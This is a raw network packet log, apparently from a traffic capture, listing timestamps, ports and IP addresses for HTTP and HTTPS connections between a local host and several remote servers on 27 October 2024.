Oct 27, 2024 17:54:41.145117998 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.145131111 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.145417929 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.147475004 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.147495031 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.147533894 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.147547960 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.147591114 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.147598028 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.147751093 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.158272028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158303022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158320904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158340931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158376932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158458948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158541918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158560038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158576012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158591032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158600092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158620119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158659935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158756018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158809900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.158812046 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.158850908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159040928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159091949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159095049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159111023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159142971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159148932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159181118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159187078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159198999 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159214020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159229994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159246922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159246922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159265995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159280062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159463882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159496069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159509897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159538984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159567118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159570932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159586906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159609079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159619093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159624100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159641027 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159648895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159657001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159668922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159676075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159701109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159715891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159725904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159775019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159790039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159826040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159841061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159842014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159878016 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159889936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.159982920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.159998894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.160012960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.160023928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.160049915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.160064936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.160073042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.160073042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.160080910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.160109043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.166353941 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.166423082 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.166430950 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.172990084 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.173062086 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.173135996 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.181123972 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181299925 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181448936 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.181452990 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181523085 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181583881 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.181596994 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181638956 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.181765079 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.185447931 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.185643911 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.185707092 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.187345028 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.187362909 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.187407017 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.187417984 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.187448025 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.187462091 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.195909977 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.195926905 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.198479891 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.198509932 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.198527098 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.198534012 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.201791048 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.202053070 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.202064991 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.202900887 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.203114986 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.203208923 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.203218937 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.205099106 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.205279112 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.206800938 CET	49929	443	192.168.2.5	20.99.185.48
Oct 27, 2024 17:54:41.212361097 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.212513924 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.212563992 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.215209007 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.215218067 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.216331959 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.216346979 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.216372013 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.216379881 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.217565060 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.217571974 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.217585087 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.217598915 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.220272064 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.220272064 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.220299959 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.220344067 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.222371101 CET	49941	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.222400904 CET	443	49941	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.222564936 CET	49941	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.222816944 CET	49941	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.222831964 CET	443	49941	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.224365950 CET	49942	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.224472046 CET	443	49942	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.224541903 CET	49942	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.225506067 CET	49943	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.225547075 CET	443	49943	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.225680113 CET	49943	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.226397038 CET	49944	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.226428032 CET	443	49944	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.226478100 CET	49944	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.226895094 CET	49942	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.226933956 CET	443	49942	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.227210999 CET	49943	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.227241039 CET	443	49943	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.228070021 CET	49944	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.228085995 CET	443	49944	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.229482889 CET	49945	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.229510069 CET	443	49945	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.229624033 CET	49945	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.229721069 CET	49945	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.229737997 CET	443	49945	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.230288982 CET	49946	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.230300903 CET	443	49946	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.230370045 CET	49946	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.231296062 CET	49946	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.231307983 CET	443	49946	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.231581926 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.231848955 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.231863022 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.232994080 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.233050108 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.234065056 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.234127998 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.234267950 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.237016916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237083912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237092018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237101078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237119913 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237145901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237179041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237195015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237220049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237237930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237243891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237256050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237270117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.237289906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.237323999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.247359991 CET	443	49929	20.99.185.48	192.168.2.5
Oct 27, 2024 17:54:41.258452892 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.258521080 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.258527994 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.258588076 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.258960009 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.258971930 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.262025118 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.262100935 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.262113094 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.262141943 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.262211084 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.262806892 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.262815952 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.271696091 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.271948099 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.271981001 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.273436069 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.273499966 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.274444103 CET	49938	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.274532080 CET	443	49938	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.274971008 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.274991035 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.275336981 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.278361082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278387070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278402090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278417110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.278453112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.278625965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278650045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278665066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.278671980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.278687954 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.278700113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279135942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279149055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279161930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279189110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279217958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279231071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279247046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279261112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279279947 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279283047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279299021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279300928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279333115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279340982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279441118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279455900 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279469967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279479027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279486895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279503107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279505968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279519081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279525995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279552937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279644966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279684067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279700041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279720068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279722929 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279732943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279747963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279764891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279782057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279786110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279798031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279815912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279824018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279831886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279841900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279846907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279854059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279864073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279874086 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279905081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279905081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.279920101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.279936075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280111074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280173063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280188084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280201912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280213118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280217886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280231953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280234098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280241013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280250072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.280260086 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280277014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.280296087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.300988913 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.301373005 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.301400900 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.301749945 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.301851988 CET	49933	443	192.168.2.5	20.125.209.212
Oct 27, 2024 17:54:41.301861048 CET	443	49933	20.125.209.212	192.168.2.5
Oct 27, 2024 17:54:41.305047989 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.305128098 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.305422068 CET	49937	443	192.168.2.5	204.79.197.219
Oct 27, 2024 17:54:41.305636883 CET	443	49937	204.79.197.219	192.168.2.5
Oct 27, 2024 17:54:41.326422930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.326438904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.326453924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.326477051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.326492071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357182026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357196093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357234955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357245922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357271910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357363939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357378006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357413054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357426882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357431889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357431889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357444048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357450008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357461929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.357470036 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357479095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.357500076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.402950048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.402966976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.402982950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403024912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403054953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403120041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403137922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403152943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403170109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403182030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403183937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403228045 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403240919 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403290987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403321981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403331995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403340101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403356075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403362036 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403372049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403377056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403389931 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403397083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403405905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.403413057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.403423071 CET	80	49853	185.215.113.206	192.168.2.5
